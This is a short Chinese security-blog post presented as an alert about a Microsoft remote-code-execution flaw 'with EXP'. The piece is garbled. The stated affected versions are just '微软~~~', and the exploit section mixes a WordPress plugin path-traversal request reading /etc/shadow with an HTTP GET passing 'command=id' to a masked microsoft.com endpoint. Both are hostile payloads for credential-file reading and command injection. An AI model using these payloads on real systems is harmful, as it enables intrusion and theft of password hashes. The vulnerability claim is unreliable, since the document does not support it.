漏洞速递 | Microsoft微软最新RCE漏洞（附EXP）

发布于2024年4月26日2025年7月19日作者:cve-20

漏洞速递 | Microsoft微软最新RCE漏洞（附EXP）

原创 AW 阿无安全 2024-04-26 06:02

声明：该公众号大部分文章来自作者日常学习笔记，也有部分文章是经过作者授权和其他公众号白名单转载，未经授权，严禁转载，如需转载，联系开白。请勿利用文章内的相关技术从事非法测试，如因此产生的一切不良后果与文章作者和本公众号无关。

现在只对常读和星标的公众号才展示大图推送，建议大家把
阿无安全
“
设为星标
”，
否则可能看不到了
！

0x01 前言

微软RCE
。

0x02 漏洞影响

影响版本

微软~~~

0x03 漏洞复现

EXP如下：

/wp-content/plugins/wechat-broadcast/wechat/Image.php?url=/etc/shadow

GET /pages/systemcall.php?command=id HTTP/1.1
Host: ***.microsoft.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
Accept: */*
Origin: chrome-extension://bhimnoepicmcjfkbmhckamllnibadfal
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

success！